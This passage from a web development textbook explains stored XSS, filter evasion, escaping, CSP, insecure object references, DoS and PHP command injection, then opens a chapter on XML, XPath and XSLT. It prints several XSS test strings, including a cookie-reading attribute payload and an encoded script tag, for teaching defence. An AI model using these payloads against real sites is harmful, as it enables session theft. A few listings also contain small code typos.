embedded inside as illustrated in Figure 18.22 . Since the domain is
correct, they may even be logged in automatically, and start transmitting
personal data (including, for instance, cookie data) to the malicious party.

Hands-On Exercises Lab 18
Exercise
Cross-Site Scripts

Stored XSS
Stored XSS (also known as persistent XSS) is even more dangerous, because
the attack can impact every user that visits the site. After the attack is
installed, it is transmitted to clients as part of the response to their HTTP
requests. These attacks are embedded into the content of a website (in one's
database) and can persist forever or until detected!

To illustrate the problem, consider a blogging site, where users can add
comments to existing blog posts. A malicious user could enter a comment



that includes malicious JavaScript, as shown in Figure 18.23 . Since
comments are saved to the database, the script is now embedded into the web
page. The next time the administrator logs in (actually every time anyone
logs in), their session cookie will be transmitted to the malicious site as an
innocent-looking image request. The malicious user can now use that secret
session value in their server logs and gain access to the site as though they
were an administrator simply by using that cookie with a browser plug-in that
allows cookie modification.

Figure 18.23 Illustration of a
stored XSS attack in action



Figure 18.23 Full Alternative Text

As you can see XSS relies extensively on unsanitized user inputs to operate;
preventing XSS attacks, therefore, requires even more user input sanitization,
just as SQL injection defenses did.

Filtering User Input
Obviously sanitizing user input is crucial to preventing XSS attacks, but as
you will see filtering out dangerous characters is a tricky matter. It's rather
easy to write PHP sanitization scripts to strip out dangerous HTML tags like
<script>. For example, the PHP function strip_tags() removes all the
HTML tags from the passed-in string. Although passing the user input
through such a function prevents the simple script attack, attackers have gone
far beyond using HTML script tags, and commonly employ subtle tactics
including embedded attributes and character encoding.

Embedded attributes use the attribute of a tag, rather than a <script>
block, for instance:

<a onmouseover=“alert(document.cookie)”>some link text</a>

Hexadecimal/HTML encoding embeds an escaped set of characters such
as:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%68%65%6C%6C%6F%22%29%3B%3C%2F%73%63%72%69%70%74%3E 

instead of

<script>alert(“hello”);</script>.

This technique actually has many forms including hexadecimal codes, HTML
entities, and UTF-8 codes.

Given that there are at least 80 subtle variations of those types of filter
evasions, most developers rely on third-party filters to remove dangerous
scripts rather than develop their own from scratch. A library such as the



open-source HTMLPurifier from http://htmlpurifier.org/ or HTML sanitizer
from Google23 allows you to easily remove a wide range of dangerous
characters from user input that could be used as part of an XSS attack. Using
the downloadable HTMLPurifier.php, you can replace the usage of
strip_tags() with the more advanced purifier, as follows:

$user= $_POST['uname']; 

$purifier = new HTMLPurifier();   

$clean_user = $purifier->purify($user);

Escape Dangerous Content
Once content is in the database, there are still techniques to prevent an attack
from being successful. Escaping content is a great way to make sure that user
content is never executed, even if a malicious script was uploaded. This
technique relies on the fact that browsers don't execute escaped content as
JavaScript, but rather interpret it as text. Ironically, it uses one of the
techniques the hackers employ to get past filters.

You may recall HTML escape codes allow characters to be encoded as a
code, preceded by &, and ending with a semicolon (e.g., < can be encoded as
&lt;). That means even if the malicious script did get stored, you would
escape it before sending it out to users, so they would receive the following:

&lt;script&gt;alert(&quot;hello&quot;);&lt;/script&gt;

The browsers seeing the encoded characters would translate them back for
display, but will not execute the script! Instead your code would appear on
the page as text. The Enterprise Security API (ESAPI), maintained by the
Open Web Application Security Project, is a library that can be used in PHP,
ASP, JAVA, and many other server languages to escape dangerous content in
HTML, CSS, and JavaScript24 for more than just HTML codes.

The trick is not to escape everything, or your own scripts will be disabled!
Only escape output that originated as user input since that could be a
potential XSS attack vector (normally, that's the content pulled from the
database). Combined with user input filtering, you should be well prepared

http://htmlpurifier.org/


for the most common, well-known XSS attacks.

XSS is a rapidly changing area, with HTML5 implementations providing
even more potential attack vectors. What works today will not work forever,
meaning this threat is an ongoing one.

Pro Tip
Content Security Policy (CSP) is a living and evolving recommendation to
the W3C that provides an additional layer of security (and control) to
browsers, which can be controlled on a per site basis by server headers. CSP
is also a great tool for debugging migration to HTTPS because it can override
many browser safeguards that protect the average user from malicious sites.

At its most basic, CSP lets a webmaster tell a browser which resources
should be considered secure (or insecure). To include Content-Security-
Policy headers in your own server you simply add one line to your Apache
configuration listing a CSP policy statement. An example statement to limit
resources to only the current domain would be

Header set Content-Security-Policy default-src 'self';

More advanced configuration can allow resources from multiple sites (recall
Cross-Origin Resource Sharing discussed back in Section 10.5.3) and filter
resources by type. The living standard with more examples can be found at
https://content-security-policy.com.

18.6.4 Insecure Direct Object
Reference
An insecure direct object reference is a fancy name for when some internal
value or key of the application is exposed to the user, and attackers can then
manipulate these internal keys to gain access to things they should not have
access to.



One of the most common ways that data can be exposed is if a configuration
file or other sensitive piece of data is left out in the open for anyone to
download (i.e., for anyone who knows the URL). This could be an archive of
the site's PHP code or a password text file that is left on the web server in a
location where it could potentially be downloaded or accessed.

Another common example is when a website uses a database key in the URLs
that are visible to users. A malicious (or curious) user takes a valid URL they
have access to and modifies it to try and access something they do not have
access to. For instance, consider the situation in which a customer with an ID
of 99 is able to see his or her profile page at the following URL: info.php?
CustomerID=99. In such a site, other users should not be able to change the
query string to a different value (say, 100) and get the page belonging to a
different user (i.e., the one with ID 100). Unfortunately, unless security
authorization is checked with each request for a resource, this type of
negligent programming leaves your data exposed.

Another example of this security risk occurs due to a common technique for
storing files on the server. For instance, if a user can determine that his or her
uploaded photos are stored sequentially as /images/99/1.jpg, /images/99/2
.jpg, …, they might try to access images of other users by requesting /images/
101/1.jpg.

One strategy for protecting your site against this threat is to obfuscate URLs
to use hash values rather than sequential names. That is, rather than store
images as 1.jpg, 2.jpg … use a one-way hash, so that each user's images are
stored with unique URLs like 9a76eb01c5de4362098.jpg. However, even
obfuscation leaves the files at risk for someone with enough time to seek
them by brute force.

If image security is truly important, then image requests should be routed
through PHP scripts rather than link to images directly. This is one significant
advantage of linking to scripts that use BLOB storage in your database rather
than files, since the PHP script already serves the images and therefore we
can easily add an authorization check for every picture using the $_SESSION
variable.



18.6.5 Denial of Service
Denial of service attacks (DoS attacks) are attacks that aim to overload a
server with illegitimate requests in order to prevent the site from responding
to legitimate ones.

If the attack originates from a single server, then stopping it is as simple as
blocking the IP address, either in the firewall or the Apache server. However,
more recently these attacks have become distributed, making them harder to
protect against as shown in Figure 18.24 .

Figure 18.24 Illustration of a
Denial of Service (DoS) and a
Distributed Denial of Service
(DDoS) attack

Figure 18.24 Full Alternative Text



Distributed DoS Attack (DDoS)
The challenge of DDoS is that the requests are coming in from multiple
machines, often as part of a bot army of infected machines under the control
of a single organization or user. Such a scenario is often indistinguishable
from a surge of legitimate traffic from being featured on a popular blog like
reddit or slashdot. Unlike a DoS attack, you cannot block the IP address of
every machine making requests, since some of those requests are legitimate
and it's difficult to distinguish between them.

Interestingly, defense against this type of attack is similar to preparation for a
huge surge of traffic, that is, caching dynamic pages whenever possible, and
ensuring you have the bandwidth needed to respond. Unfortunately, these
attacks are very difficult to counter, as illustrated by a recent attack on the
spamhaus servers, which generated 300 Gbps worth of requests!25

18.6.6 Security Misconfiguration
The broad category of security misconfiguration captures the wide range of
errors that can arise from an improperly configured server. There are more
issues that fall into this category than the rest, but some common errors
include out-of-date software, open mail relays, and user-coupled control.

Out-of-Date Software
Most softwares are regularly updated with new versions that add features,
and fix bugs. Sometimes these updates are not applied, either out of
laziness/incompetence, or because they conflict with other software that is
running on the system that is not compatible with the new version.

From the OS and services, all the way to updates for your plug-ins in
Wordpress, out-of-date software puts your system at risk by potentially
leaving well-known (and fixed) vulnerabilities exposed.



The solution is straightforward: update your software as quickly as possible.
The best practice is to have identical mirror images of the production system
in a preproduction setting. Test all updates on that system before updating the
live server.

Open Mail Relays
An open mail relay refers to any mail server that allows someone to route
email through without authentication. Open relays are troublesome since
spammers can use your server to send their messages rather than use their
own servers. This means that the spam messages are sent as if the originating
IP address was your own web server! If that spam is flagged at a spam
agency like spamhaus, your mail server's IP address will be blacklisted, and
then many mail providers will block legitimate email from you.

A proper closed email server configuration will allow sending from a locally
trusted computer (like your web server) and authenticated external users.
Even when properly configured from an SMTP (Simple Mail Transfer
Protocol) perspective, there can still be a risk of spammers abusing your
server if your forms are not correctly designed, since they can piggyback on
the web server's permission to route email and send their own messages.

Pro Tip
Even if your site is perfectly configured, people can still masquerade as you
in emails. That is, they can still forge the From: header in an email and say it
is from you (or from the president for that matter).

However, by closing your relays (and setting up advanced mail configuration,
seen in Chapter 22), you greatly reduce the chance of forged email not being
flagged as spam.

More Input Attacks



Although SQL injection is one type of unsanitized user input that could put
your site at risk, there are other risks to allowing user input to control
systems. Input coupled control refers to the potential vulnerability that occurs
when the users, through their HTTP requests, transmit a variety of strings and
data that are directly used by the server without sanitation. Two examples
you will learn about are the virtual open mail relay and arbitrary program
execution

Virtual Open Mail Relay
Consider, for example, that most websites use an HTML form to allow users
to contact the website administrator or other users. If the form allows users to
select the recipient from a dropdown, then what is being transmitted is crucial
since it could expose your mail server as a virtual open mail relay as
illustrated in Figure 18.25 .



Figure 18.25 Illustrated virtual
open relay exploit

Figure 18.25 Full Alternative Text

By transmitting the email address of the recipient, the contact form is at risk
of abuse since an attacker could send to any email they want. Instead, you
should transmit an integer that corresponds to an ID in the user table, thereby
requiring the database lookup of a valid recipient.



Arbitrary Program Execution
Another potential attack with user-coupled control relates to running
commands in Unix through a PHP script. Functions like exec(), system(),
and passthru() allow the server to run a process as though they were a
logged-in user.

Consider the script illustrated in Figure 18.26 , which allows a user to input
an IP address (or domain name) and then runs the ping command on the
server using that input. Unfortunately, a malicious user could input data other
than an IP address in an effort to break out of the ping command and execute
another command. These attackers normally use | or > characters to execute
the malicious program as part of a chain of commands. In this case the
attacker appends a directory listing command (ls), and as a result sees all the
files on the server in that directory! With access to any command, the impact
could be much worse. To prevent this major class of attack, be sure to
sanitize input, with escapeshellarg() and be mindful of how user input is
being passed to the shell.



Figure 18.26 Illustrated exploit
of a command-line pass-
through of user input

Figure 18.26 Full Alternative Text

Applying least possible privileges will also help mitigate this attack. That is,
if your web server is running as root, you are potentially allowing arbitrary
commands to be run as root, versus running as the Apache user, which has
fewer privileges.



18.7 Chapter Summary
This chapter introduced some fundamental concepts about security and
related them to web development. You learned about authentication systems'
best practices and some classes of attacks you should be prepared to defend
against. Some mathematical background on cryptography described how
HTTPS and signed certificates can be applied to secure your site.

Most importantly, you saw that security is only as strong as the weakest link,
and it remains a challenge even for some of the world's largest organizations.
You must address security at all times during the development and
deployment of your web applications and be prepared to recover from an
incident in order to truly have a secure site.

18.7.1 Key Terms
asymmetric cryptography

auditing

authentication

authentication cookie

authentication factors

authentication policy

authorization

availability

block ciphers

Caesar cipher



Certificate Authority

cipher

CIA triad

code review

confidentiality

Content Security Policy

cross-site scripting

cryptographic hash functions

decryption

denial of service attacks

digest

digital signature

encryption

external actors

form-based authentication

high-availability

HTTP basic authentication

HTTP digest authentication

Hypertext Transfer Protocol Secure (HTTPS)

information assurance



information security

inherence factors

input coupled control

insecure direct object reference

integrity

internal actors

key

knowledge factors

legal policies

logging

man-in-the-middle attacks

mixed content

multifactor authentication

OAuth

one-time pad

one-way hash functions

open mail relay

ownership factors

pair programming

partner actors



password policies

phishing scams

premaster secret

principle of least privilege

public key cryptography

rainbow table

reflected XSS

salting

secure by default

secure by design

Secure Sockets Layer

security testing

security theater

self-signed certificates

single-factor authentication

social engineering

stored XSS

SQL injection

STRIDE

substitution cipher



symmetric ciphers

threat

token-based authentication

unit testing

usage policy

Vigenère cipher

vulnerabilities

18.7.2 Review Questions
1. 1. What are the three components of the CIA security triad?

2. 2. What is the difference between authentication and authorization?

3. 3. Why is two-factor authentication more secure than single factor?

4. 4. How does the secure by design principle get applied in the software
development life cycle?

5. 5. What are the three types of actor that could compromise a system?

6. 6. What is security theater? Is it effective?

7. 7. What's the relationship between the Caesar cipher and the modern
RSA cipher?

8. 8. What type of cryptography addresses the problem of agreeing to a
secret symmetric key?

9. 9. What is a cryptographic one-way hash?

10. 10. What does it mean to salt your passwords?



11. 11. What is a Certificate Authority, and why do they matter?

12. 12. What is a DoS attack, and how does it differ from a DDoS attack?

13. 13. What can you do to prevent SQL injection vulnerabilities?

14. 14. What's the difference between reflected and stored XSS attacks?

15. 15. How do you defend against cross-site scripting attacks?

16. 16. What features does a digital signature provide?

17. 17. What is a self-signed certificate?

18. 18. What is mixed content and how is it related to HTTPS?

18.7.3 Hands-On Practice
It's very important to have written permission to attack a system before
starting to try and find weaknesses. Since we cannot be certain of what
permission you have available to you, these projects focus on some secure
programming practices.

Project 1: Travel Site

Difficulty Level: Easy

Overview
Your travel site to date allows people to upload comments in addition to their
photos. Unfortunately, as it stands you may have left the door open to cross-
site scripting attacks through those comments!



Hands-on Exercises
Project 18.1

Instructions
1. Open your travel site project from previous chapters and find the code

that allows users to upload images with comments (if incomplete,
complete it now).

2. To test if your site is vulnerable, try posting the following in the
comment field:

<script type='text/javascript'>

 alert('XSS vulnerability found!');

</script>

3. If the comment gets saved to the database and loaded back to you when
viewing the page that contains the comment, then your site is
vulnerable!

4. To prevent this type of attack, begin by adding some filtering code to the
PHP page that processes uploads and adds them to the database.

5. In case your filtering code does not catch some advanced XSS attacks,
add a second level of filter to escape dangerous content from the
database before presenting it to the user.

Testing
1. First test the input filter by trying a variety of potential attacks described

in this chapter. After an attempted attack, check the database to see if the
attack was filtered out or not.



2. Disable your input filters and upload some malicious comments to test
your content filters that cleanse content coming out of your database.

3. Load a page that should have the malicious comment, and see if your
output filters have stopped the attack.

4. Enable both input and output filters.

Project 2: Better Credential Storage

Difficulty Level: Intermediate

Overview
Back in Project 15.3, you created a login system that checked the user
credentials against a database. This project improves that database to mitigate
the potential impact of a database breach.

Hands-on Exercises
Project 18.2

Instructions
1. Fix your database structure so that instead of storing a username and

password you store a username, salt, and MD5 hash of the salted
password.

2. Update your user registration code (if it exists) so that instead of
inserting a record using the old structure, your PHP code generates a



unique salt, and stores the salt, and md5() of the salted password along
with the username.

3. Update your authentication code that validates logins. Rather than check
if the username and password match, you have to add an extra step. First
you retrieve the salt from the database based on the submitted username.
Then, using the submitted password, and the retrieved salt, create a
salted password and run it through the one-way hash (MD5).

4. Using the generated MD5 hash and username, check if a record exists
with the same username and MD5 hash. If so, the user was successful in
logging in; otherwise, it is an error.

Testing
1. Register a new user (if your registration system is functional).

2. Check the database to ensure you cannot see the password that the user
submitted.

3. Try logging in and see if you are successful. If not, you may have
incorrectly updated either the storage of the credentials or testing of
credentials.

4. Finally, update all existing user records to use the new scheme.

Project 3: Any Site

Difficulty Level: Advanced

Overview



All of your projects to date have grown considerably in size from back in the
early chapters where they were just HTML and CSS pages. If a web server
were to crash, would you be able to recover?

Hands-on Exercises
Project 18.3

Instructions
1. Choose one of your projects and create a recovery plan that clearly

articulates what data needs to be backed up and how to recover from that
data.

2. If you don't already have a secondary host for backup purposes, get one.
It must support SSH access.

3. Configure SSH key exchange so that you can transfer files without
having to type your password.

4. Create a script to dump your database into a text file.

5. Create a sync script (using rsync or scp) which backs up your database
and files to the remote server. Configure it to run automatically at a time
each day when you expect to have low traffic (often the middle of the
night).

Testing
1. Since testing a backup plan is a key way to determine if it works, try

now recovering your site from the backups you have transferred over.

2. If you have a colleague that you trust, see if they can recover your site



from the recovery plan thereby testing whether that plan has enough
detail.
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19 XML Processing and Web
Services



Chapter Objectives
In this chapter you will learn …

What XML is and what role it plays in software systems

How to process an XML file in JavaScript and PHP

What the JSON data form is and how to process it in JavaScript and
PHP

About web services and their role in web development

How to consume web services in JavaScript and PHP

How to create web services in PHP

This chapter covers XML processing along with one of the most common
uses of XML in the web context: the consumption and creation of web
services. The chapter begins by describing the XML data interchange format,
as well as techniques for creating XML files and processing them in PHP. It
also covers JSON, which is another data interchange format that is commonly
used in web applications. The chapter then moves on to web services and
how they facilitate data exchange and asynchronous applications. The chapter
provides guidance along with sample code for consuming as well as creating
XML and JSON web services.

Authors' Advice
One of the many changes in web development world since the first edition of
this textbook has been the relatively rapid decline in XML use in the web
development world and its replacement by JSON. You encountered JSON
(JavaScript Object Notation) briefly in Chapter 8. The principal advantage of
JSON is that it is already JavaScript, which means it is easily integrated into



JavaScript programs, while XML requires extra effort. Nonetheless, you still
may encounter XML at various points in your application development
career, so we would advise gaining at least some familiarity with the big
picture of XML before jumping to the material on the more commonly-used
JSON web services.



19.1 XML Overview
Back in Chapter 3, you learned that like HTML, XML is a markup language,
but unlike HTML, XML can be used to mark up any type of data. XML is
used not only for web development but is also used as a file format in many
nonweb applications. One of the key benefits of XML data is that as plain
text, it can be read and transferred between applications and different
operating systems as well as being human-readable and understandable as
well. Back in Chapter 6, you also encountered XML in the SVG (Scalable
Vector Graphics) file format. XML is also used in the web context as a
format for moving information between different systems. As can be seen in
Figure 19.1 , XML is not only used on the web server and to communicate
asynchronously with the browser, but is also used as a data interchange
format for moving information between systems (in this diagram, with a
knowledge management system and a finance system).



Figure 19.1 XML in the web
context

Figure 19.1 Full Alternative Text



19.1.1 Well-Formed XML
For a document to be well-formed XML, it must follow the syntax rules for
XML.1

These rules are quite straightforward:

Element names are composed of any of the valid characters (most
punctuation symbols and spaces are not allowed) in XML.

Element names can't start with a number.

There must be a single-root element. A root element is one that contains
all the other elements; for instance, in an HTML document, the root
element is <html>.

All elements must have a closing element (or be self-closing).

Elements must be properly nested.

Elements can contain attributes.

Attribute values must always be within quotes.

Element and attribute names are case sensitive.

Listing 19.1 illustrates a sample XML document. Notice that it begins with
an XML declaration, which is analogous to the DOCTYPE of an HTML
document. In this example, the root element is called <art>.

Listing 19.1 Sample XML document
<?xml version=“1.0” encoding=“ISO-8859-1”?> <art> 

  <painting id=“290”> 

    <title>Balcony</title> 

    <artist> 

      <name>Manet</name> 



      <nationality>France</nationality> 

    </artist> 

    <year>1868</year> 

    <medium>Oil on canvas</medium> 

  </painting> 

  <painting id=“192”> 

    <title>The Kiss</title> 

    <artist> 

      <name>Klimt</name> 

      <nationality>Austria</nationality> 

    </artist> 

    <year>1907</year> 

    <medium>Oil and gold on canvas</medium> 

  </painting> 

  <painting id=“139”> 

    <title>The Oath of the Horatii</title> 

    <artist> 

      <name>David</name> 

      <nationality>France</nationality> 

    </artist> 

    <year>1784</year> 

    <medium>Oil on canvas</medium> 

  </painting> 

</art>

Some type of XML parser is required to verify that an XML document is well
formed. A parser not only checks the document for syntax errors; it also
typically converts the XML document into some type of internal memory
structure. All contemporary browsers have built-in parsers, as do most web
development environments such as PHP and ASP.NET.

19.1.2 Valid XML
A valid XML document is one that is well formed and whose element and
content conform to the rules of either its document type definition (DTD) or
its schema.2 DTDs were the original way for an XML parser to check an
XML document for validity. They tell the XML parser which elements and
attributes to expect in the document as well as the order and nesting of those
elements. A DTD can be defined within an XML document or within an
external file. Listing 19.2 contains the DTD for the XML file from Listing
19.1.



Listing 19.2 Example DTD
<?xml version=“1.0” encoding=“ISO-8859-1”?> 

<!DOCTYPE art [ 

<!ELEMENT art (painting*)> 

<!ELEMENT painting (title,artist,year,medium)> 

<!ATTLIST painting id CDATA #REQUIRED> 

<!ELEMENT title (#PCDATA)> 

<!ELEMENT artist (name,nationality)> 

<!ELEMENT name (#PCDATA)> 

<!ELEMENT nationality (#PCDATA)> 

<!ELEMENT year (#PCDATA)> 

<!ELEMENT medium (#PCDATA)> 

]> 

<art> 

… 

</art>

The main drawback with DTDs is that they can only validate the existence
and ordering of elements (and the existence of attributes). They provide no
way to validate the values of attributes or the textual content of elements. For
this type of validation, one must instead use XML schemas, which have the
added advantage of using XML syntax. Unfortunately, schemas have the
corresponding disadvantage of being long-winded and harder for humans to
read and comprehend; for this reason, they are typically created with tools.
An explanation of XML schemas and DTDs is considerably beyond the scope
of this book. Listing 19.3 illustrates a sample XML schema for the XML
document in Listing 19.1.

Listing 19.3 Example schema
<xs:schema attributeFormDefault=“unqualified” 

     elementFormDefault=“qualified”  

     xmlns:xs=“http://www.w3.org/2001/XMLSchema”> 

  <xs:element name=“art”> 

    <xs:complexType> 

      <xs:sequence> 

        <xs:element name=“painting” maxOccurs=“unbounded” minOccurs=“0”>

          <xs:complexType> 

            <xs:sequence> 



              <xs:element type=“xs:string” name=“title”/> 

              <xs:element name=“artist”> 

                <xs:complexType> 

                  <xs:sequence> 

                    <xs:element type=“xs:string” name=“name”/> 

                    <xs:element type=“xs:string” name=“nationality”/>

                  </xs:sequence> 

                </xs:complexType> 

              </xs:element> 

              <xs:element type=“xs:short” name=“year” /> 

              <xs:element type=“xs:string” name=“medium”/> 

            </xs:sequence> 

            <xs:attribute type=“xs:short” name=“id” use=“optional”/>

          </xs:complexType> 

        </xs:element> 

      </xs:sequence> 

    </xs:complexType> 

  </xs:element> 

</xs:schema>

Dive Deeper

XSLT
There are two other XML technologies that are occasionally used in a web
context. The first of these is XSLT, which stands for XML Stylesheet
Transformations.3 XSLT is an XML-based programming language that is
used for transforming XML into other document formats, as shown in Figure
19.2 .



Figure 19.2 XSLT workflow
Figure 19.2 Full Alternative Text

Perhaps the most common translation is the conversion of XML to HTML.
All of the modern browsers support XSLT, though XSLT is also used on the
server side and within JavaScript, as shown in Figure 19.3 .



Figure 19.3 Usage of XSLT
Figure 19.3 Full Alternative Text

Listing 19.4 shows an example XSLT document that would convert the XML
shown in Listing 19.1 into an HTML list. Notice the strings within the
select attribute: these are XPath expressions, which are used for selecting
specific elements within the XML source document. The <xsl:for-each>
element is one of the iteration constructs within XSLT. In this example, it
iterates through each of the <painting> elements.

An XML parser is still needed to perform the actual transformation. The
result of the transformation is shown in Figure 19.4 . It is beyond the scope of
this book to cover the details of the XSLT programming language.



Figure 19.4 Result of XSLT
Figure 19.4 Full Alternative Text

Listing 19.4 An example XSLT
document
<?xml version=“1.0” encoding=“ISO-8859-1”?> 

<html xsl:version=“1.0”  

      xmlns:xsl=“http://www.w3.org/1999/XSL/Transform”  

      xmlns=“http://www.w3.org/1999/xhtml”> 

<body> 

   <h1>Catalog</h1> 

   <ul> 

   <xsl:for-each select=“/art/painting”> 

      <li> 

        <h2><xsl:value-of select=“title”/></h2> 

        <p>By: <xsl:value-of select=“artist/name”/><br/> 

           Year: <xsl:value-of select=“year”/> 

           [<xsl:value-of select=“medium”/>]</p>

      </li> 



   </xsl:for-each> 

   </ul> 

</body> 

</html>

XPath
The other commonly used XML technology in the web context is XPath,
which is a standardized syntax for searching an XML document and for
navigating to elements within the XML document.4 XPath is typically used as
part of the programmatic manipulation of an XML document in PHP and
other languages.

XPath uses a syntax that is similar to the one used in most operating systems
to access directories. For instance, to select all the painting elements in the
XML file in Listing 19.1, you would use the XPath expression:
/art/painting. Just as with operating system paths, the forward slash is used
to separate elements contained within other elements; as well, an XPath
expression beginning with a forward slash is an absolute path beginning with
the start of the document.

In XPath terminology, an XPath expression returns zero, one, or many XML
nodes. In XPath, a node generally refers to an XML element. From a node,
you can examine and extract its attributes, textual content, and child nodes.
XPath also comes with a sophisticated vocabulary for specifying search
criteria. For instance, let us examine the following XPath expression:

/art/painting[@id='192']/artist/name

It selects the <name> element within the <artist> element for the
<painting> element with an id attribute of 192, as shown in Figure 19.5
(which also illustrates several additional XPath expressions). As can be seen
in the figure, square brackets are used to specify a criteria expression at the
current path node, which in the above example is /art/painting (i.e., each
painting node is examined to see if its id attribute is equal to the value 192).
Notice that when referencing a node using an index expression (e.g.,
painting[3]), XPath expressions begin with one and not zero. As well, you



will notice that attributes are identified in XPath expressions by being
prefaced by the @ character.

Figure 19.5 Sample XPath
expressions

Figure 19.5 Full Alternative Text



We will be using XPath in later examples in the chapter when we process
XML-based web services.



19.2 XML Processing
XML processing in PHP, JavaScript, and other modern development
environments is divided into two basic styles:

The in-memory approach, which involves reading the entire XML file
into memory into some type of data structure with functions for
accessing and manipulating the data.

The event or pull approach, which lets you pull in just a few elements or
lines at a time, thereby avoiding the memory load of large XML files.

19.2.1 XML Processing in
JavaScript
All modern browsers have a built-in XML parser and their JavaScript
implementations support an in-memory XML DOM API, which loads the
entire document into memory where it is transformed into a hierarchical tree
data structure. You can then use the already familiar DOM functions such as
getElementById(), getElementsByTagName(), and createElement() to
access and manipulate the data.
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For instance, Listing 19.5 shows the code necessary for loading an XML
document into an XML DOM object, and it displays the id attributes of the



<painting> elements as well as the content of each painting's <title>
element. While straight-forward, a better approach from a performance
standpoint would be to retrieve the XML file asynchronously using the
$.get() technique covered in Chapter 10.

Listing 19.5 Loading and processing
an XML document via JavaScript
<script> 

if (window.XMLHttpRequest)  { 

   // code for IE7+, Firefox, Chrome, Opera, Safari 

   var xmlhttp = new XMLHttpRequest()

} 

else  { 

   // code for old versions of IE (optional) 

   var xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”); 

} 

// load the external XML file 

xmlhttp.open(“GET”,“art.xml”,false); 

xmlhttp.send(); 

var xmlDoc = xmlhttp.responseXML; 

// now extract a node list of all <painting> elements 

var paintings = xmlDoc.getElementsByTagName(“painting”); 

if (paintings) { 

   // loop through each painting element 

   for (var i = 0; i < paintings.length; i++)  

   { 

      // display its id attribute 

      alert(“id=“+paintings[i].getAttribute(”id”)); 

      

      // find its <title> element 

      var title = paintings[i].getElementsByTagName(“title”); 

      if (title) { 

         // display the text content of the <title> element 

         alert(“title=”+title[0].textContent); 

      }

   } 

}

</script>



Note
For security reasons (the cross-site origin policy covered in Chapter 10), both
the webpage and the XML file it tries to load via JavaScript must be located
on the same domain/server.

JavaScript can also manipulate XML that is contained within a string rather
than in an external file. The technique for doing so differs in Internet
Explorer, so the code would look similar to the following:

var art = '<?xml version=“1.0” encoding=“ISO-8859-1”?>';

art += '<art><painting id=“290”><title<Balcony … </art>';

if (window.DOMParser)  {

   var parser = new DOMParser();

   var xmlDoc = parser.parseFromString(art,“text/xml”);

}

else {

   // for prior to Internet Explorer 9

   var xmlDoc = new ActiveXObject(“Microsoft.XMLDOM”);

   xmlDoc.async=false;

   xmlDoc.loadXML(art);

}

As can be seen in Listing 19.5, JavaScript supports a variety of node traversal
functions as well as properties for accessing information within an XML
node.

jQuery provides an alternate way to process XML that handles the cross-
browser support for you.5 Listing 19.6 illustrates the use of jQuery that
performs the exact same processing as shown in Listing 19.5, except the
XML is loaded from a string.

Listing 19.6 XML processing using
jQuery
var art = '<?xml version=“1.0” encoding=“ISO-8859-1”?>'; 



art += '<art><painting id=“290”><title>Balcony … </art>'; 

// use jQuery parseXML() function to create the DOM object 

var xmlDoc = $.parseXML(art); 

// convert DOM object to jQuery object 

var xml = $(xmlDoc); 

// find all the painting elements 

var paintings = xml.find(“painting”); 

// loop through each painting element 

paintings.each(function() { 

   // display its id

   alert($(this).attr(“id”)); 

   // find the title element within the current painting element 

   var title = $(this).find(“title”); 

   // and display its content 

   alert($title.text()); 

});

While using the alert() function to display XML content is fine for learning
purposes, a real example would likely display the XML data as HTML
content. Listing 19.7 expands on the previous listing to insert the XML
content into a <div> element within the HTML document.

Listing 19.7 Using jQuery to inject
XML data into an HTML <div>
element
<body> 

… 

<div id=“container”></div> 

<script> 

var art = '<?xml version=“1.0” encoding=“ISO-8859-1”?>'; 

art += '<art><painting id=“290”><title>Balcony … </art>'; 

var xmlDoc = $.parseXML(art); 

var paintings = $(xmlDoc).find(“painting”); 

paintings.each(function() { 

   // add XML content to <div< element 

   $(“#container”).append($(this).attr(“id”) + “ - ”); 

   $(“#container”).append($(this).find(“title”).text() + “<br/>”);



}); 

</script>

Later in the chapter, we will use these techniques to asynchronously request
an XML file and then update HTML elements to display the XML content.

19.2.2 XML Processing in PHP
PHP provides several extensions or APIs for working with XML6:

The DOM extension, which loads the entire document into memory
where it is transformed into a hierarchical tree data structure. This DOM
approach is relatively standardized, in that many other development
environments and languages implement relatively similarly named
functions/methods for accessing and manipulating the data.

The SimpleXML extension, which loads the data into an object that
allows the developer to access the data via array properties and
modifying the data via methods.

The XML parser is an event-based XML extension. This is sometimes
referred to as a SAX-style API, which for PHP developers confusingly
stands for Simple API for XML, which was the original package for
processing XML in the Java environment. This is generally a
complicated approach that requires defining handlers for each XML type
(e.g., element, attribute, etc.).

The XMLReader is a read-only pull-type extension that uses a cursor-
like approach similar to that used with database processing. The
XMLWriter provides an analogous approach for creating XML files.

In general, the SimpleXML and the XMLReader extensions provide the
easiest ways to read and process XML content. Let us begin with the
SimpleXML approach, which reads the entire XML file into memory and
transforms into a complex object. Like the DOM extension, the SimpleXML
extension is not a sensible solution for processing very large XML files
because it reads the entire file into server memory; however, since the file is



in memory, it offers fast performance.
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Listing 19.8 shows how our XML file is transformed into an object using the
simplexml_load_file() function. The various elements in the XML
document can then be manipulated using regular PHP object techniques.

Listing 19.8 Using SimpleXML
<?php 

$filename = 'art.xml'; 

if (file_exists($filename)) { 

   $art = simplexml_load_file($filename); 

  

   // access a single element 

   $painting = $art->painting[0]; 

   echo '<h2>' . $painting->title . '</h2>'; 

   echo '<p>By ' . $painting->artist->name . '</p>'; 

   // display id attribute

   echo '<p>id=' . $painting[“id”] . '</p>'; 

   // loop through all the paintings 

   echo “<ul>”; 

   foreach ($art->painting as $p) 

   { 

      echo '<li>' . $p->title . '</li>'; 

   } 

   echo '</ul>'; 

} else { 

   exit('Failed to open ' . $filename); 

} 

?>

You can also use the power of XPath expressions with SimpleXML to make



it very easy to find and filter content in an XML file. Any object in the object
tree can access the xpath() method; Listing 19.9 demonstrates some sample
usages of this method.
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Listing 19.9 Using XPath with
SimpleXML
$art = simplexml_load_file($filename); 

$titles = $art->xpath('/art/painting/title'); 

foreach ($titles as $t) { 

   echo $t . '<br/>'; 

} 

$names = $art->xpath('/art/painting[year>1800]/artist/name'); 

foreach ($names as $n) { 

   echo $n . '<br/>'; 

}

Note
While XML element names can contain the hyphen character, PHP does not
allow hyphens in variable names. So if your XML file contains elements with
hyphens, you will have to use an alternative approach.

For instance, consider the following XML file:

<?xml version=“1.0” encoding=“ISO-8859-1”?>



<catalog>

  <book>

    <copyright-year>2014</copyright-year>

    …

  </book>

  …

</catalog>

To access the elements with hyphens, we would need to encapsulate the element name within braces and the apostrophe:

$catalog = simplexml_load_file($filename);

echo $catalog->book[0]->{'copyright-year'};

